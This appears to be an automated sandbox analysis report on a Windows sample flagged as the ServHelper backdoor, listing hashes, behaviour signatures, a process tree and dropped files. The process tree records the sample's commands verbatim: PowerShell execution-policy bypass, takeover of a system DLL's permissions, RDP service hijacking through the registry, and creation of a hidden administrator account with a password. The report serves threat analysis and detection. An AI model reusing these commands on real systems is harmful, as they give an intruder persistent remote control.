Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-12-2023 17:19

General

  • Target

    fe390355d5840bf740669121b7032e5f.exe

  • Size

    3.4MB

  • MD5

    fe390355d5840bf740669121b7032e5f

  • SHA1

    db7c8fd4c1b2600d98e20e8301018e1a4b952444

  • SHA256

    7da69d9b2edd854e2ebd3c5123ae0fa4df058780fdea9236f412daf46ed4997b

  • SHA512

    fb073cc090ba88805c0b43f639714d393271ea7397c7af1c4c409e680d98c61fa1aa6117307d3c3e967da0cf30c3cf90ea59ed7c99e419b30b76d2c1a817980c

  • SSDEEP

    49152:kkfxaDlOo67fSWzotMT+3vQW4DMyc+7G0wHyiTXvJifxwB77xWRpt/l0Vpz1UHYV:d2qrt7T+v+7G0CJ4xwB7YN/l0VpyRO

Malware Config

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 12 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fe390355d5840bf740669121b7032e5f.exe
    "C:\Users\Admin\AppData\Local\Temp\fe390355d5840bf740669121b7032e5f.exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2508
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout -t 15& powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2656
      • C:\Windows\system32\timeout.exe
        timeout -t 15
        3⤵
        • Delays execution with timeout.exe
        PID:4420
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1
        3⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3212
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4288
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2152
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:4788
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4848
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2644
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2748
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4792
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1128
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          4⤵
            PID:444
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            4⤵
            • Sets DLL path for service in the registry
            • Modifies registry key
            PID:1916
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            4⤵
              PID:2268
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3716
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                5⤵
                  PID:3536
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:4744
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4812
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    6⤵
                      PID:4064
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        7⤵
                          PID:4376
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2940
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4476
                      • C:\Windows\system32\net.exe
                        net start TermService
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4348
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start TermService
                          7⤵
                            PID:2752
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                      4⤵
                        PID:3816
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                        4⤵
                          PID:4652
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2128
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3244
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:3724
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc cromLIHL /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4456
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc cromLIHL /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4808
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc cromLIHL /add
                          3⤵
                            PID:1808
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4624
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2016
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:1320
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" IXMQMCCR$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2132
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" IXMQMCCR$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4484
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" IXMQMCCR$ /ADD
                              3⤵
                                PID:2152
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4848
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                                PID:2280
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                  3⤵
                                    PID:2124
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe user wgautilacc cromLIHL
                                1⤵
                                  PID:2416
                                  • C:\Windows\system32\net.exe
                                    net.exe user wgautilacc cromLIHL
                                    2⤵
                                      PID:228
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc cromLIHL
                                        3⤵
                                          PID:3716

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    • C:\Users\Admin\AppData\Local\Temp\11.ps1

                                      Filesize

                                      1KB

                                      MD5

                                      c0fae5b04f67d12ca621200aac5378dc

                                      SHA1

                                      c82c80ff2a2abb57e9a23ac5a100d82c1d551238

                                      SHA256

                                      de678dd80006ed864550a034f48a93bf1cb5a31d706d6f25694f577f7867f2a0

                                      SHA512

                                      27e1c30a1ad0ab381f037eb4313f11c9c7c3eaa78b5893ba0df04cac006a4169c92d3c6f3b09d181c6862491f8793818d0e9becf355b9aa4a70bef199c536ff8

                                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h2dpp1gm.idz.ps1

                                      Filesize

                                      60B

                                      MD5

                                      d17fe0a3f47be24a6453e9ef58c94641

                                      SHA1

                                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                      SHA256

                                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                      SHA512

                                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                    • C:\Users\Admin\AppData\Local\Temp\evil.ps1

                                      Filesize

                                      4.0MB

                                      MD5

                                      308004ed7790ddb567998dcb7205cb6f

                                      SHA1

                                      a32706cf539b367c631757ce5228a382b9bf3dca

                                      SHA256

                                      4c5f0e82186751415772384bae7054437d53e2806b2ba2973ab20bb694ffd428

                                      SHA512

                                      168a63f1c8ec8102a9e11581e68b17fb4826fb77bfc2d5e7e8ab04864aaf05d99404ba6cf769ebab1d5c41b8bcd1357f611de62a5e077fbbaef5d5b43ffed514

                                    • C:\Users\Admin\AppData\Local\Temp\nsb640A.tmp\System.dll

                                      Filesize

                                      11KB

                                      MD5

                                      fbe295e5a1acfbd0a6271898f885fe6a

                                      SHA1

                                      d6d205922e61635472efb13c2bb92c9ac6cb96da

                                      SHA256

                                      a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1

                                      SHA512

                                      2cb596971e504eaf1ce8e3f09719ebfb3f6234cea5ca7b0d33ec7500832ff4b97ec2bbe15a1fbf7e6a5b02c59db824092b9562cd8991f4d027feab6fd3177b06

                                    • C:\Users\Admin\AppData\Local\Temp\nsb640A.tmp\blowfish.dll

                                      Filesize

                                      22KB

                                      MD5

                                      5afd4a9b7e69e7c6e312b2ce4040394a

                                      SHA1

                                      fbd07adb3f02f866dc3a327a86b0f319d4a94502

                                      SHA256

                                      053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

                                      SHA512

                                      f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

                                    • C:\Users\Admin\AppData\Local\Temp\nsb640A.tmp\nsUnzip.dll

                                      Filesize

                                      146KB

                                      MD5

                                      77a26c23948070dc012bba65e7f390aa

                                      SHA1

                                      7e112775770f9b3b24e2a238b5f7c66f8802e5d8

                                      SHA256

                                      4e4e429ecf1c49119a21c817899f64152b03b41b036fc1d92aee335043364c43

                                      SHA512

                                      2e7ffa4ed5c97f555e1b0d6f55ffcfd53cd28302fc77d95fdaea89e0b6b42e67e366331e52358e78e8266d079cc2ca3ea4c909197fb38a5b4c8151c7678d0065

                                    • C:\Windows\Branding\mediasrv.png

                                      Filesize

                                      54KB

                                      MD5

                                      acc5f33ea59a3aceb71f356e818aa32e

                                      SHA1

                                      483682b15fa526f620e525292a26c868fd809769

                                      SHA256

                                      56fb4078bce366f84deb9236987465ac616717da91edb409344bdbec5f8969d9

                                      SHA512

                                      14676268e9a25ae1fae66b758ac508f1e18ef520af044d8626b6c2be48bdcc5d7983d12fbeb112c06e7b1f24bdc3c6edd57a2aa6c91b40fbe38ea93a0956cd44

                                    • C:\Windows\Branding\mediasvc.png

                                      Filesize

                                      946KB

                                      MD5

                                      016660627786c4f1f2bb73fc7122f05e

                                      SHA1

                                      571b953d7721dbf5e5c034ca388621fc63372be3

                                      SHA256

                                      b8aad0651e6f08e00ef81ac444ad151a9660b5a1ec7e7a534b0a818b593926a4

                                      SHA512

                                      8d7c59913c983f87489eef31fd4044257c807a23a4f47b39b7b81b2f6cfab1e2e2390ee536d35b13f2cc3784721a85c5e819eb65c1a153c92f4d1249f6b5d3a4

                                    • C:\Windows\system32\rfxvmt.dll

                                      Filesize

                                      40KB

                                      MD5

                                      dc39d23e4c0e681fad7a3e1342a2843c

                                      SHA1

                                      58fd7d50c2dca464a128f5e0435d6f0515e62073

                                      SHA256

                                      6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                      SHA512

                                      5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                    • memory/3212-60-0x00000164BE1E0000-0x00000164BE1F0000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/3212-77-0x00007FF9898B0000-0x00007FF98A371000-memory.dmp

                                      Filesize

                                      10.8MB

                                    • memory/3212-78-0x00000164BE1E0000-0x00000164BE1F0000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/3212-79-0x00000164BE1E0000-0x00000164BE1F0000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/3212-58-0x00000164BE1E0000-0x00000164BE1F0000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/3212-59-0x00000164BE1E0000-0x00000164BE1F0000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/3212-57-0x00007FF9898B0000-0x00007FF98A371000-memory.dmp

                                      Filesize

                                      10.8MB

                                    • memory/3212-47-0x00000164DA130000-0x00000164DA152000-memory.dmp

                                      Filesize

                                      136KB

                                    • memory/3212-87-0x00007FF9898B0000-0x00007FF98A371000-memory.dmp

                                      Filesize

                                      10.8MB